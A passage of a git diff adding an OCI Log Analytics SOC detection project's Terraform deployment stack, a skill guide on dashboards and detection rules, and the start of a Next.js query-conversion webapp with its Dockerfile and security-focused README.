Phase 7+ will redistribute them into the operator modules, the lexer, and a dedicated validator module. +- The Phase 6 legacy adapter file (in `scripts/kql/operators/`) was deleted in plan 06-10; the residual unsupported set lives in `scripts/kql/operators/unsupported_op.py` as real Tier-3 functions. +- `OPERATOR_REGISTRY` lists 21 entries: 12 supported families dispatched through extracted modules (`where`, `summarize`, `project`/`fields`/`project-reorder`, `extend`, `sort`/`order`, `top`, `distinct`, `union`, `let`) + 9 unsupported (`take`, `count`, `limit`, `parse`, `evaluate`, `mv-expand`, `make-series`, `join`, `render`). +- `queries/sentinel_conversion_report.json` carries `summary.tier_distribution` (currently `{tier_1: 8, tier_2: 0, tier_3: 17}`) and a `tier` field on every `attempted[]` entry. +- `scripts/test_kql/` holds 88 passing tests covering canonicalizer idempotence (Hypothesis, 100 examples), 18 golden fixtures (8 promoted + 10 synthetic), the line-budget gate, and operator-level unit tests (registry binding regression-fence + Tier-1 / Tier-3 paths per operator). +- `requirements-dev.txt` contains exactly two lines: `pytest>=8.3` and `hypothesis>=6.150`. +- Deferred to Phase 7: rewire `scripts/kql/pipeline.convert` to dispatch through `OPERATOR_REGISTRY` instead of delegating to legacy `convert_kql_to_logan`. Operator modules ARE registered and tested; only the pipeline wiring sits behind the legacy delegation. + +## Drilldowns and navigation + +When the user wants dashboards to feel more actionable: + +- Prefer Log Explorer deep links over static prose. +- Use copied query URLs or encoded queries so the destination opens with the right query, filters, visualization, time range, and scope. +- For tile-in-link XML, store the XML in `dashboard.visualizationOptions.tileLayoutXml` and set `dashboard.visualizationOptions.dashboardOptions` to include `Tiles` and `Main Table`. +- For link widgets with custom tiles, add summary fields to the link query with `eventstats` so every `` has a matching output field. +- Use hidden tiles plus `show(id=...)` or expander patterns for layered drilldown when one link widget needs multiple detail panes. +- Keep deep links aligned with the dashboard time range and scope filters. + +## Detection-rule path + +Choose one mechanism: + +- Ingest-time detection rule: for label-based matching in a known log source or entity type, where every matching record should emit a metric immediately. +- Scheduled-search detection rule: for LAQL logic that must run periodically and post a numeric metric plus optional dimensions. +- Template-based detection rule: when an Oracle-defined template already models the use case. + +For scheduled-search detection rules: + +- The query must produce a valid numeric metric. +- You can post up to three dimensions. +- If using `link` output as dimensions, end the query with `fields -*, dim1, dim2, dim3, metric1`. +- Account for late-arriving logs if the detection window is short. +- Avoid unsupported commands and expensive patterns listed in the reference file. + +For ingest-time detection rules: + +- The rule depends on labels defined in the source/parser layer. +- Validate that the label, log source, and entity filter are specific enough to avoid noisy metrics. + +Detection rules are not alarms. The rule posts metrics to Monitoring; the alarm is configured separately on that metric. + +## Working pattern in this repo + +1. Inspect the target query JSON and the dashboard entry in `scripts/deploy_dashboard.py`. +2. Decide whether the dashboard improvement needs only query changes, only widget wiring, or both. +3. Put visualization metadata in the query `dashboard` block unless the same query needs different behavior in different dashboards; use widget-level overrides only for those per-dashboard differences. +4. If the ask includes alerting, shape the query so it also works as a scheduled-search detection rule, or add the required label path for ingest-time rules. +5. Keep titles, descriptions, tags, and log-source metadata consistent with nearby content. +6. Regenerate derived artifacts only when the touched surface requires it. + +## Validation + +After edits, run the smallest relevant validation loop: + +- `python3 scripts/deploy_dashboard.py --dry-run` for all dashboard wiring +- `python3 scripts/deploy_dashboard.py --dry-run --dashboard-name ""` for focused dashboard checks +- `python3 scripts/deploy_dashboard.py --validate` for dashboard inventory validation +- `python3 -m unittest scripts.test_deploy_dashboard scripts.test_app_query_contract -q` +- `python3 -m unittest discover -s scripts -p 'test_*.py'` +- `python3 -m compileall scripts` + +If you changed source-derived rules or catalogs, also run: + +- `python3 scripts/convert_sigma.py` +- `python3 scripts/generate_catalog.py` +- `python3 scripts/export_for_multicloud.py --manifest-only` + +If you changed Sentinel conversion code, mapping, or promoted queries, run the Sentinel-specific loop: + +- `python3 -m pytest scripts/test_sentinel_converter.py scripts/test_sentinel_conversion_workflow.py -q` +- `python3 scripts/sentinel_conversion_workflow.py local` +- `python3 scripts/sentinel_conversion_workflow.py page` +- `python3 scripts/generate_catalog.py` +- `python3 scripts/deploy_dashboard.py --export-inventory` +- `python3 scripts/deploy_dashboard.py --validate` +- Focused dry-runs for every nonempty `SOC: Microsoft Sentinel * Converted Detections` dashboard. +- `python3 -m compileall scripts` + +## Output expectations + +When using this skill, produce: + +- The recommended visualization choice and why it fits the analyst task +- The exact repo surface to edit +- Any query-shape changes needed for charting or metrics +- Any dashboard deployment changes needed to persist the visualization +- Any detection-rule and alarm follow-up needed for alerting diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/build_stack.sh b/observability-and-management/assets/oci-log-analytics-detections/stack/build_stack.sh new file mode 100644 index 000000000..d8d070a72 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/build_stack.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(dirname "$SCRIPT_DIR")" +BUILD_DIR="$(mktemp -d)" +OUTPUT="$PROJECT_ROOT/soc-detection-stack.zip" + +echo "Building ORM stack zip..." +echo " Build dir: $BUILD_DIR" + +# Copy Terraform files +cp "$SCRIPT_DIR"/*.tf "$BUILD_DIR/" +cp "$SCRIPT_DIR"/schema.yaml "$BUILD_DIR/" + +# Copy project assets needed by provisioners +cp -r "$PROJECT_ROOT/scripts" "$BUILD_DIR/scripts" +cp -r "$PROJECT_ROOT/queries" "$BUILD_DIR/queries" +cp -r "$PROJECT_ROOT/config" "$BUILD_DIR/config" +cp -r "$PROJECT_ROOT/test_data" "$BUILD_DIR/test_data" + +# Create the zip +cd "$BUILD_DIR" +zip -r "$OUTPUT" . -x "*.pyc" "__pycache__/*" ".env*" "*.zip" + +echo "" +echo "Stack zip created: $OUTPUT" +echo "Upload to OCI Resource Manager to deploy." + +# Cleanup +rm -rf "$BUILD_DIR" diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/iam.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/iam.tf new file mode 100644 index 000000000..33553c90c --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/iam.tf @@ -0,0 +1,11 @@ +resource "oci_identity_policy" "sch_policies" { + compartment_id = var.tenancy_ocid + name = "soc-detection-sch-policies" + description = "IAM policies for SOC Detection Service Connector Hub pipelines" + + statements = [ + "Allow any-user to use stream-pull in compartment id ${var.compartment_id} where all {request.principal.type='serviceconnector'}", + "Allow any-user to use stream-push in compartment id ${var.compartment_id} where all {request.principal.type='serviceconnector'}", + "Allow any-user to {LOG_ANALYTICS_LOG_GROUP_UPLOAD_LOGS} in compartment id ${var.compartment_id} where all {request.principal.type='serviceconnector'}", + ] +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/log_analytics.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/log_analytics.tf new file mode 100644 index 000000000..8891ba6f9 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/log_analytics.tf @@ -0,0 +1,6 @@ +resource "oci_log_analytics_log_analytics_log_group" "soc_detection" { + compartment_id = var.compartment_id + namespace = local.la_namespace + display_name = var.log_group_name + description = var.log_group_description +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/main.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/main.tf new file mode 100644 index 000000000..8712fa6cb --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/main.tf @@ -0,0 +1,20 @@ +# Validate the target compartment exists +data "oci_identity_compartment" "target" { + id = var.compartment_id +} + +# Discover the Log Analytics namespace for this tenancy +data "oci_log_analytics_namespaces" "this" { + compartment_id = var.tenancy_ocid +} + +locals { + la_namespace = data.oci_log_analytics_namespaces.this.namespace_collection[0].items[0].namespace + + stream_definitions = { + "soc-detection-oci-audit" = { log_source = "OCI Audit Logs" } + "soc-detection-cloud-guard" = { log_source = "OCI Cloud Guard Problems" } + "soc-detection-linux-audit" = { log_source = "SOC Linux Syslog Logs" } + "soc-detection-windows-sysmon" = { log_source = "Windows Sysmon Operational Logs" } + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/outputs.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/outputs.tf new file mode 100644 index 000000000..0df28beb0 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/outputs.tf @@ -0,0 +1,24 @@ +output "la_namespace" { + description = "Log Analytics namespace" + value = local.la_namespace +} + +output "log_group_id" { + description = "OCID of the created Log Analytics log group" + value = oci_log_analytics_log_analytics_log_group.soc_detection.id +} + +output "compartment_id" { + description = "Target compartment OCID" + value = var.compartment_id +} + +output "stream_ids" { + description = "Map of stream name to OCID" + value = { for k, v in oci_streaming_stream.soc_detection : k => v.id } +} + +output "service_connector_ids" { + description = "Map of service connector name to OCID" + value = { for k, v in oci_sch_service_connector.soc_detection : k => v.id } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/provider.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/provider.tf new file mode 100644 index 000000000..834e734e9 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/provider.tf @@ -0,0 +1,16 @@ +terraform { + required_version = ">= 1.0" + + required_providers { + oci = { + source = "oracle/oci" + version = ">= 5.0" + } + } +} + +# ORM injects authentication automatically — no API key config needed. +provider "oci" { + tenancy_ocid = var.tenancy_ocid + region = var.region +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/provisioners.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/provisioners.tf new file mode 100644 index 000000000..766dbe320 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/provisioners.tf @@ -0,0 +1,72 @@ +resource "null_resource" "deploy_log_sources" { + count = var.deploy_log_sources ? 1 : 0 + + provisioner "local-exec" { + command = "python3 ${path.module}/scripts/setup_log_sources.py" + working_dir = path.module + + environment = { + OCI_TENANCY_ID = var.tenancy_ocid + OCI_COMPARTMENT_ID = var.compartment_id + LA_NAMESPACE = local.la_namespace + LA_LOG_GROUP_ID = oci_log_analytics_log_analytics_log_group.soc_detection.id + } + } + + depends_on = [oci_log_analytics_log_analytics_log_group.soc_detection] + + triggers = { + log_group_id = oci_log_analytics_log_analytics_log_group.soc_detection.id + } +} + +resource "null_resource" "deploy_dashboards" { + count = var.deploy_dashboards ? 1 : 0 + + provisioner "local-exec" { + command = var.deploy_dashboard_cleanup ? "python3 ${path.module}/scripts/deploy_dashboard.py --cleanup" : "python3 ${path.module}/scripts/deploy_dashboard.py" + working_dir = path.module + + environment = { + OCI_TENANCY_ID = var.tenancy_ocid + OCI_COMPARTMENT_ID = var.compartment_id + LA_NAMESPACE = local.la_namespace + LA_LOG_GROUP_ID = oci_log_analytics_log_analytics_log_group.soc_detection.id + } + } + + depends_on = [ + oci_log_analytics_log_analytics_log_group.soc_detection, + null_resource.deploy_log_sources, + ] + + triggers = { + log_group_id = oci_log_analytics_log_analytics_log_group.soc_detection.id + } +} + +resource "null_resource" "ingest_test_data" { + count = var.ingest_test_data ? 1 : 0 + + provisioner "local-exec" { + command = "python3 ${path.module}/scripts/ingest_test_data.py --mode direct" + working_dir = path.module + + environment = { + OCI_TENANCY_ID = var.tenancy_ocid + OCI_COMPARTMENT_ID = var.compartment_id + LA_NAMESPACE = local.la_namespace + LA_LOG_GROUP_ID = oci_log_analytics_log_analytics_log_group.soc_detection.id + } + } + + depends_on = [ + oci_log_analytics_log_analytics_log_group.soc_detection, + null_resource.deploy_log_sources, + null_resource.deploy_dashboards, + ] + + triggers = { + log_group_id = oci_log_analytics_log_analytics_log_group.soc_detection.id + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/schema.yaml b/observability-and-management/assets/oci-log-analytics-detections/stack/schema.yaml new file mode 100644 index 000000000..5a02ecfb7 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/schema.yaml @@ -0,0 +1,120 @@ +title: "SOC Detection Rules Stack" +description: "Deploy OCI Log Analytics SOC detection infrastructure including streams, service connectors, log sources, and dashboards." +schemaVersion: 1.1.0 +version: "1.0.0" +locale: "en" + +variableGroups: + - title: "General Configuration" + description: "Required OCI identifiers" + variables: + - compartment_id + - tenancy_ocid + - region + + - title: "Log Analytics" + description: "Log Analytics log group settings" + variables: + - log_group_name + - log_group_description + + - title: "Streaming" + description: "OCI Streaming configuration for log ingestion pipelines" + variables: + - stream_pool_id + - stream_partitions + - stream_retention_hours + + - title: "Provisioning Options" + description: "Control which components are deployed via Python scripts" + variables: + - deploy_log_sources + - deploy_dashboards + - ingest_test_data + +variables: + compartment_id: + type: oci:identity:compartment:id + title: "Compartment" + description: "Compartment where all resources will be created" + required: true + + tenancy_ocid: + type: string + title: "Tenancy OCID" + description: "OCID of the tenancy (auto-populated by ORM)" + required: true + + region: + type: oci:identity:region:name + title: "Region" + description: "OCI region for deployment (auto-populated by ORM)" + required: true + + log_group_name: + type: string + title: "Log Group Name" + description: "Name of the Log Analytics log group for SOC detections" + default: "soc-detection-test-logs" + required: true + + log_group_description: + type: string + title: "Log Group Description" + description: "Description for the Log Analytics log group" + default: "Log group for SOC detection rules testing and validation" + required: false + + stream_pool_id: + type: string + title: "Stream Pool OCID (Optional)" + description: "OCID of an existing stream pool. Leave empty to create streams in the compartment directly." + default: "" + required: false + + stream_partitions: + type: number + title: "Stream Partitions" + description: "Number of partitions per stream" + default: 1 + required: false + minimum: 1 + maximum: 10 + + stream_retention_hours: + type: number + title: "Stream Retention (Hours)" + description: "Message retention period in hours" + default: 24 + required: false + minimum: 24 + maximum: 168 + + deploy_log_sources: + type: boolean + title: "Deploy Log Sources" + description: "Create custom LA fields, parsers, and log sources via Python script" + default: true + required: false + + deploy_dashboards: + type: boolean + title: "Deploy Dashboards" + description: "Deploy SOC detection dashboards and saved searches" + default: true + required: false + + deploy_dashboard_cleanup: + type: boolean + title: "Cleanup Existing Dashboards" + description: "Remove existing SOC dashboards before deploying new ones (--cleanup flag)" + default: true + required: false + visible: deploy_dashboards + + ingest_test_data: + type: boolean + title: "Ingest Test Data" + description: "Upload test attack logs for validation (not recommended for production)" + default: false + required: false diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/service_connector.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/service_connector.tf new file mode 100644 index 000000000..30cfe7509 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/service_connector.tf @@ -0,0 +1,37 @@ +resource "oci_sch_service_connector" "soc_detection" { + for_each = local.stream_definitions + + compartment_id = var.compartment_id + display_name = "sch-${each.key}-to-la" + description = "Routes ${each.key} stream to Log Analytics (${each.value.log_source})" + state = "ACTIVE" + + source { + kind = "streaming" + + cursor { + kind = "TRIM_HORIZON" + } + + stream_id = oci_streaming_stream.soc_detection[each.key].id + } + + target { + kind = "loggingAnalytics" + log_group_id = oci_log_analytics_log_analytics_log_group.soc_detection.id + + dimensions { + dimension_value { + kind = "static" + path = "logSourceName" + value = each.value.log_source + } + } + } + + freeform_tags = { + "project" = "soc-detection-rules" + } + + depends_on = [oci_identity_policy.sch_policies] +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/streaming.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/streaming.tf new file mode 100644 index 000000000..e82a6452c --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/streaming.tf @@ -0,0 +1,16 @@ +resource "oci_streaming_stream" "soc_detection" { + for_each = local.stream_definitions + + name = each.key + partitions = var.stream_partitions + retention_in_hours = var.stream_retention_hours + + # Use stream pool if provided, otherwise place in compartment directly + stream_pool_id = var.stream_pool_id != "" ? var.stream_pool_id : null + compartment_id = var.stream_pool_id == "" ? var.compartment_id : null + + freeform_tags = { + "project" = "soc-detection-rules" + "log_source" = each.value.log_source + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/stack/variables.tf b/observability-and-management/assets/oci-log-analytics-detections/stack/variables.tf new file mode 100644 index 000000000..4016c6de1 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/stack/variables.tf @@ -0,0 +1,86 @@ +# --- General Configuration --- + +variable "compartment_id" { + type = string + description = "OCID of the compartment where resources will be created" +} + +variable "tenancy_ocid" { + type = string + description = "OCID of the tenancy (auto-populated by ORM)" +} + +variable "region" { + type = string + description = "OCI region for deployment (auto-populated by ORM)" +} + +# --- Log Analytics --- + +variable "log_group_name" { + type = string + description = "Name of the Log Analytics log group" + default = "soc-detection-test-logs" +} + +variable "log_group_description" { + type = string + description = "Description for the Log Analytics log group" + default = "Log group for SOC detection rules testing and validation" +} + +# --- Streaming --- + +variable "stream_pool_id" { + type = string + description = "OCID of an existing stream pool (leave empty to use compartment directly)" + default = "" +} + +variable "stream_partitions" { + type = number + description = "Number of partitions per stream" + default = 1 + + validation { + condition = var.stream_partitions >= 1 && var.stream_partitions <= 10 + error_message = "Stream partitions must be between 1 and 10." + } +} + +variable "stream_retention_hours" { + type = number + description = "Message retention period in hours" + default = 24 + + validation { + condition = var.stream_retention_hours >= 24 && var.stream_retention_hours <= 168 + error_message = "Retention hours must be between 24 and 168." + } +} + +# --- Provisioning Options --- + +variable "deploy_log_sources" { + type = bool + description = "Create custom LA fields, parsers, and log sources" + default = true +} + +variable "deploy_dashboards" { + type = bool + description = "Deploy SOC detection dashboards and saved searches" + default = true +} + +variable "deploy_dashboard_cleanup" { + type = bool + description = "Remove existing SOC dashboards before deploying new ones" + default = true +} + +variable "ingest_test_data" { + type = bool + description = "Upload test attack logs for validation" + default = false +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/.dockerignore b/observability-and-management/assets/oci-log-analytics-detections/webapp/.dockerignore new file mode 100644 index 000000000..a53cd8612 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/.dockerignore @@ -0,0 +1,12 @@ +.git +.next +node_modules +coverage +playwright-report +test-results +.env +.env.* +*.tsbuildinfo +npm-debug.log* +yarn-error.log* +pnpm-debug.log* diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/.gitignore b/observability-and-management/assets/oci-log-analytics-detections/webapp/.gitignore new file mode 100644 index 000000000..5441b4626 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/.gitignore @@ -0,0 +1,32 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules + +# next.js +/.next/ +/out/ + +# playwright (generated test output) +/playwright-report/ +/test-results/ +/.playwright-cli/ + +# production +/build +/.logan-detections-runtime/ + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files +.env* + +# vercel +.vercel + +# typescript +*.tsbuildinfo diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/Dockerfile b/observability-and-management/assets/oci-log-analytics-detections/webapp/Dockerfile new file mode 100644 index 000000000..51973c89f --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/Dockerfile @@ -0,0 +1,36 @@ +FROM node:22-alpine AS deps +WORKDIR /app +RUN corepack enable && corepack prepare pnpm@10.26.1 --activate +COPY package.json pnpm-lock.yaml ./ +RUN pnpm install --frozen-lockfile + +FROM node:22-alpine AS builder +WORKDIR /app +RUN corepack enable && corepack prepare pnpm@10.26.1 --activate +COPY --from=deps /app/node_modules ./node_modules +COPY . . +ENV NEXT_TELEMETRY_DISABLED=1 +RUN pnpm build + +FROM node:22-alpine AS runner +WORKDIR /app +ENV NODE_ENV=production +ENV NEXT_TELEMETRY_DISABLED=1 +ENV HOSTNAME=0.0.0.0 +ENV PORT=3000 +ENV LOGAN_DETECTIONS_REPO=/app/oci-log-analytics-detections +ENV PYTHONDONTWRITEBYTECODE=1 +ENV PYTHONUNBUFFERED=1 + +RUN apk add --no-cache python3 py3-yaml \ + && addgroup --system --gid 1001 nodejs \ + && adduser --system --uid 1001 nextjs + +COPY --from=builder /app/public ./public +COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./ +COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static +COPY --from=builder --chown=nextjs:nodejs /app/.logan-detections-runtime ./oci-log-analytics-detections + +USER nextjs +EXPOSE 3000 +CMD ["node", "server.js"] diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/README.md b/observability-and-management/assets/oci-log-analytics-detections/webapp/README.md new file mode 100644 index 000000000..e346de6ac --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/README.md @@ -0,0 +1,77 @@ +# OCI Log Analytics Detections Webapp + +`webapp/` contains the long-term Forge frontend for this repository. It is a Next.js App Router application that converts Sigma/YAML, Microsoft Sentinel KQL, Splunk SPL, Elastic/Lucene/KQL, and OCI Log Analytics QL passthrough examples into OCI Log Analytics QL by using this repo's generated artifacts and backend conversion script. + +## Scope + +- **Only exposed product surface:** `/forge` +- **API surface:** `/api/forge/session`, `/api/forge/convert`, and `/api/health` +- **Artifact source:** parent repository root by default, or `LOGAN_DETECTIONS_REPO` when explicitly set +- **Public repository link:** `https://github.com/adibirzu/oci-log-analytics-detections` +- **Production host targets:** `https://convert.octodemo.cloud` and `https://forge.octodemo.cloud` +- **Static host target:** GitHub Pages can serve a limited read-only build when `NEXT_PUBLIC_FORGE_STATIC_EXPORT=1` + +The app does not duplicate query generation. It reads: + +- `queries/logan_ql_reference_catalog.json` +- `queries/cross_ql_mapping_patterns.json` +- `queries/conversion_examples.json` +- `queries/ql_conversion_capability_matrix.json` +- `queries/catalog.json` +- `queries/dashboard_inventory.json` +- `test_data/manifest.json` +- `scripts/logan_workbench_convert.py` + +## Local Development + +```bash +cd webapp +pnpm install --frozen-lockfile +pnpm dev +``` + +The local app reads artifacts from `..` when `LOGAN_DETECTIONS_REPO` is unset. Set `LOGAN_DETECTIONS_REPO=/absolute/path/to/oci-log-analytics-detections` only when running from a different working directory. + +Verification: + +```bash +cd webapp +pnpm typecheck +pnpm lint +pnpm build +pnpm e2e +``` + +## GitHub Pages Static Build + +GitHub Pages can host the Forge page only as a static/read-only build. Static mode does not include the Next.js API routes, CSRF session endpoint, Python converter, or backend deployment actions. It supports bundled example conversions and raw OCI Logan QL passthrough in the browser. + +```bash +cd webapp +NEXT_PUBLIC_FORGE_BASE_PATH=/oci-log-analytics-detections pnpm build:pages +``` + +The static export is written to `webapp/out`. The `Forge GitHub Pages` workflow publishes that directory from GitHub Actions. + +## Security Posture + +- Middleware redirects HTML requests to `/forge` and returns `404` for non-allowed routes. +- The conversion API uses strict Zod request/response validation, CSRF tokens, origin checks, request size limits, rate limiting, and production-safe error messages. +- `FORGE_TRUSTED_INTERNAL_HOSTS` can list OKE service DNS names that are allowed as internal origins while still requiring a valid `X-Logan-Forge-CSRF` token. +- `FORGE_TRUSTED_PROXY_HOPS` makes `X-Forwarded-For` trust **opt-in**. It is the number of trusted reverse-proxy hops (e.g. OCI LB + ingress) that sit in front of the app and append to `X-Forwarded-For`; the rate limiter then keys on the entry that many positions from the **right** (the address your proxy inserted), so a client cannot bypass the limit by spoofing leftmost values. **When unset (or `0`) the app does NOT trust `X-Forwarded-For` at all and every request shares one rate-limit bucket (fail-closed).** Set it to the real proxy depth of the deployment — and ensure the app is only reachable through those proxies — to get per-client limiting. +- Production backend writes must go through `LOGAN_FORGE_BACKEND_URL`, intended to be an API Gateway endpoint protected by WAF. Without that secret, the app uses the bundled read-only converter script. +- No tenancy names, OCIDs, IP addresses, or secret values are rendered in the UI. Deployment scripts read environment variables and local OCI profiles at execution time only. + +## Deployment + +OKE deployment material lives in `deploy/oke/`. Build from `webapp/` after staging a minimal runtime artifact bundle: + +```bash +cd webapp +./deploy/oke/stage-detections-runtime.sh +docker build -t "$FORGE_IMAGE" . +docker push "$FORGE_IMAGE" +envsubst < deploy/oke/forge-frontend.yaml | kubectl apply -f - +``` + +See `deploy/oke/README.md` for the existing Octo APM load-balancer and DNS wiring flow. diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/app/globals.css b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/globals.css new file mode 100644 index 000000000..3272d92f2 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/globals.css @@ -0,0 +1,145 @@ +@import "../styles/tokens.css"; + +@tailwind base; +@tailwind components; +@tailwind utilities; + +@layer base { + * { + @apply border-border; + } + + body { + @apply bg-background text-foreground; + font-feature-settings: "ss01", "cv01", "cv03"; + -webkit-font-smoothing: antialiased; + text-rendering: optimizeLegibility; + } + + /* Visible, branded keyboard focus everywhere — never remove the ring. */ + :focus-visible { + outline: 2px solid hsl(var(--ring)); + outline-offset: 2px; + border-radius: calc(var(--radius) - 6px); + } + + ::selection { + background: hsl(var(--brand-glow) / 0.28); + color: hsl(var(--foreground)); + } +} + +@layer components { + /* + * Console atmosphere: an obsidian field with a faint top-left brand bloom + * and a hairline grid. Compositor-friendly (paints only, no animation). + */ + .console-atmosphere { + position: relative; + background-color: hsl(var(--surface-sunken)); + background-image: + radial-gradient(120% 90% at 0% 0%, hsl(var(--brand-glow) / 0.1), transparent 55%), + radial-gradient(90% 70% at 100% 0%, hsl(var(--sev-info) / 0.07), transparent 50%), + linear-gradient(hsl(var(--grid-line) / 0.55) 1px, transparent 1px), + linear-gradient(90deg, hsl(var(--grid-line) / 0.55) 1px, transparent 1px); + background-size: 100% 100%, 100% 100%, 44px 44px, 44px 44px; + background-position: 0 0, 0 0, -1px -1px, -1px -1px; + } + + /* Raised panel with layered depth: inner top highlight + grounded shadow. */ + .console-panel { + background-color: hsl(var(--surface-raised)); + border: 1px solid hsl(var(--border)); + border-radius: var(--radius-panel); + box-shadow: + inset 0 1px 0 0 hsl(0 0% 100% / 0.04), + 0 1px 2px 0 hsl(224 60% 3% / 0.4), + 0 18px 40px -24px hsl(224 70% 2% / 0.7); + } + + .console-panel-quiet { + background-color: hsl(var(--surface-raised) / 0.7); + border: 1px solid hsl(var(--border)); + border-radius: var(--radius); + } + + .console-rail { + background: + linear-gradient(180deg, hsl(var(--surface-raised)), hsl(var(--surface-sunken))); + border: 1px solid hsl(var(--border)); + border-radius: var(--radius-panel); + } + + .eyebrow { + font-size: var(--text-eyebrow); + letter-spacing: var(--tracking-eyebrow); + text-transform: uppercase; + font-weight: 600; + color: hsl(var(--muted-foreground)); + } + + /* Hairline ticks used as section connectors (editorial detailing). */ + .tick-rule { + background-image: repeating-linear-gradient( + 90deg, + hsl(var(--border-strong)) 0, + hsl(var(--border-strong)) 1px, + transparent 1px, + transparent 7px + ); + } + + .surface-grain { + position: relative; + } + .surface-grain::after { + content: ""; + position: absolute; + inset: 0; + pointer-events: none; + opacity: 0.5; + mix-blend-mode: overlay; + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='160' height='160'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='2' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.035'/%3E%3C/svg%3E"); + border-radius: inherit; + } + + /* Brand-tinted primary action with a subtle internal sheen. */ + .btn-brand { + background-image: linear-gradient(180deg, hsl(var(--brand-glow)), hsl(var(--primary))); + color: hsl(var(--primary-foreground)); + box-shadow: + inset 0 1px 0 0 hsl(0 0% 100% / 0.22), + 0 8px 20px -10px hsl(var(--primary) / 0.7); + transition: + transform var(--duration-fast) var(--ease-out-expo), + box-shadow var(--duration-fast) var(--ease-out-expo), + filter var(--duration-fast) var(--ease-out-expo); + } + .btn-brand:hover { + filter: brightness(1.06); + box-shadow: + inset 0 1px 0 0 hsl(0 0% 100% / 0.28), + 0 10px 26px -10px hsl(var(--primary) / 0.85); + } + .btn-brand:active { + transform: translateY(1px) scale(0.99); + } + .btn-brand:disabled { + filter: grayscale(0.4) brightness(0.8); + box-shadow: none; + } +} + +@media (prefers-reduced-motion: reduce) { + *, + *::before, + *::after { + animation-duration: 0.001ms !important; + animation-iteration-count: 1 !important; + transition-duration: 0.001ms !important; + scroll-behavior: auto !important; + } + .btn-brand:active { + transform: none; + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/app/layout.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/layout.tsx new file mode 100644 index 000000000..3a664dfc2 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/layout.tsx @@ -0,0 +1,43 @@ +import type React from "react" +import type { Metadata } from "next" +import { Inter, JetBrains_Mono } from "next/font/google" +import "./globals.css" + +import { ThemeProvider } from "@/components/theme-provider" +import { Toaster } from "@/components/ui/toaster" + +const inter = Inter({ + subsets: ["latin"], + display: "swap", + variable: "--font-inter", + fallback: ["SF Pro Text", "Segoe UI", "system-ui", "sans-serif"], +}) + +const jetbrainsMono = JetBrains_Mono({ + subsets: ["latin"], + display: "swap", + variable: "--font-jetbrains-mono", + fallback: ["SFMono-Regular", "Cascadia Code", "monospace"], +}) + +export const metadata: Metadata = { + title: "Forge — OCI Log Analytics conversion console", + description: "A secured Forge workbench for converting detection queries into OCI Log Analytics QL.", +} + +export default function RootLayout({ + children, +}: Readonly<{ + children: React.ReactNode +}>) { + return ( + + + + {children} + + + + + ) +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/app/page.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/page.tsx new file mode 100644 index 000000000..ab0ba919a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/app/page.tsx @@ -0,0 +1,3 @@ +import ForgePage from "@/app/(dashboard)/forge/page" + +export default ForgePage diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/components.json b/observability-and-management/assets/oci-log-analytics-detections/webapp/components.json new file mode 100644 index 000000000..13f24bf4a --- /dev/null +++ 